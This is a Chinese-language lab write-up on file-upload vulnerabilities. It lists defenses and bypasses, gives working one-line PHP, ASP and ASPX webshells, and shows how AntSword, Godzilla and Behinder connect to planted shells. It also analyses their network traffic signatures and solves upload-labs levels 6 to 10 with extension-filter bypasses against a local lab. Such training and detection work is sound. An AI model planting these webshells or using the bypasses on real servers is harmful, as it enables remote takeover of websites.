任务一:文件上传防御手段及绕过手段总结
文件上传漏洞
如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。
文件上传防御手段
(1)js前端校验文件类型
(2)校验上传文件类型
(3)校验上传文件内容
(4)校验上传文件大小
(5)校验上传文件路径
(6)校验请求头content-type字段
(7)文件上传后存储到存储桶中
(8)文件上传后以时间戳方式重写文件名
(9)设置可执行目录白名单
文件上传绕过手段
(1)大/双写文件名绕过
(2)恶意文件内容以多段拼凑/拆解的形式组合
(3)目录穿越到可执行目录
(4)修改MIME类型
(5)大小写绕过
(6)图片木马
(7)文件包含绕过
(8)文件竞争绕过
任务二:文件上传常用一句话木马
php: <?php @eval($_POST['pass']);?>、<?php system($_GET['cmd']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
任务三:课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
-
中国蚁剑
AntSword(蚁剑)是一款开源的网络安全工具,常用于网络渗透测试和攻击。它可以远程连接并控制被攻击计算机,执行命令、上传下载文件等操作。
蚁剑与网站进行数据交互的过程中,发送的数据是经过编码器编码后再发送,支持的编码方式有default(默认的)、base64、chr、chr16、rot13;网站返回的数据经过解码器中的编码方式编码后返回,支持的编码方式有default、base64、rot13。
启动phpstudy,选择网站,新建域名为webshell.top的网站
打开phpstudy下的webshell.top目录,新建一个php文件,打开写上一句话木马
打开bp开启拦截,浏览器打开bp代理,直接访问网站webshell.top/test.php
将抓到的包发送到重放器,点击发送
打开中国蚁剑,右键“添加数据”
如图填写
点击测试连接,显示成功
右键选择“虚拟终端”
成功
设置蚁剑的代理与bp的代理一致,开启拦截,点击测试连接,抓到蚁剑的数据包
选中红色部分进行URL转换得到
可以得到蚁剑的数据包流量特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
响应包的结果返回格式为:随机数,响应内容,随机数
使用base64加密的payload,数据包存在以下base加密的eval命令执行
数据包的payload内容存在几个分段内容,分别都使用base加密,解密后可以看到相关的路径,命令等
响应包的结果返回格式为:
随机数
编码后的结果
随机数
-
godzilla(哥斯拉)
一个功能强大的Webshell管理工具,它拥有过市面所有静态查杀的能力,且流量经过加密,能有效绕过WAF。与冰蝎和蚁剑相比,哥斯拉的插件更胜一筹。安装只需下载JAR包并运行,支持生成免杀木马。用户需确保密码、密钥、有效载荷类型和加密器在连接时与生成木马时一致。
打开哥斯拉,“管理”->“生成”,按图所示生成一个木马。
生成成功
打开查看,是一句话木马
以upload-labs第一关演示
直接上传php文件(一句话木马)发现不可上传,提示只可上传图片类型的文件
查看源代码
是一个前端校验,可以通过使用burp拦截数据包修改内容,实现绕过。把gsl.php的后缀改为.png。
点击上传,抓包
改变上图中的gsl.png为gsl.php,然后放行
回到浏览器,发现已经上传成功
F12查看网页源代码,选择图片,检查
url拼接结果如下:
url->http://127.0.0.1/upload-labs-master/Pass-01/index.php
图片路径->../upload/gsl.php
目标路径->http://127.0.0.1/upload-labs-master/upload/gsl.php
打开哥斯拉,“目标”->“添加”,填写里面的内容。要和这个木马生成时候选的的选项保持一致。
可以先“测试连接”,看是否有出错,提示“success”了再“添加”。
选中目标,右键选择进入
内容如下
在哥斯拉中修改目标信息
打开bp抓包,点击测试连接
发送到重放器,点击发送查看响应包
流量特征分析:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate
-
Behinder(冰蝎)
一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。
打开冰蝎
点击传输协议,协议名称选择default_xor_base64,点击生成服务端
生成木马文件
且显示服务端生成完成
将shell.php上传至phpstudy的www目录。然后进行添加
保存后双击进入
在冰蝎中设置代理
bp中开启拦截,双击目标,抓到数据包
流量特征分析:
所有请求中
Accept: application/json, text/javascript, */*; q=0.01
Content-type: application/x-www-form-urlencoded
User-Agent: 冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用
任务四:文件上传无回显如何查找webshell地址
字典爆破
时间戳枚举使用webshell扫描工具
审查前端代码
任务五:upload-labs靶场通关第6-第10关
Pass-06
选择webshell文件上传
显示“此文件类型不允许上传”
查看源码
发现源码中过滤的后缀有小写和大小写混写的,但没有大写,我们的php文件名是不区分大小写的。于是将后缀名改为纯大写进行绕过尝试
点击上传,上传成功
在upload下发现上传的文件
Pass-07
选择webshell文件上传
显示“不允许上传”
点击查看源码
发现没有对上传的文件名做去空格的操作,利用burp抓包,发送到重放器后修改对应的文件名添加空格
点击发送
打开蚁剑,对127.0.0.1/upload-labs-master/upload/202409042337458472.php进行连接,密码为pass,测试连接成功
点击进入
Pass-08
选择webshell.php文件进行上传
上传失败
查看源码
没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过
上传时,bp拦截抓包,发送到重放器,在文件名末尾添加.号,点击发送
打开蚁剑进行连接,成功
Pass-09
选择上传webshell9.php文件
上传失败
查看源码
没有对::DATA进行处理 ,可以使用::DATA进行绕过黑名单
上传时,bp拦截抓包,发送到重放器,改后缀webshell9.php::$DATA
打开蚁剑进行连接,成功
Pass-10
选择webshell10.php文件上传
上传失败
查看源码
由源码可看出,前面的点绕过,大小写绕过,空格绕过等都不可行,于是这里选择对上传路径直接使用文件名进行拼接
filename=deldot (file_name=deldot(filename=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单。deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
上传时,bp拦截抓包,发送到重放器,改后缀webshell10.php. .
打开蚁剑连接,成功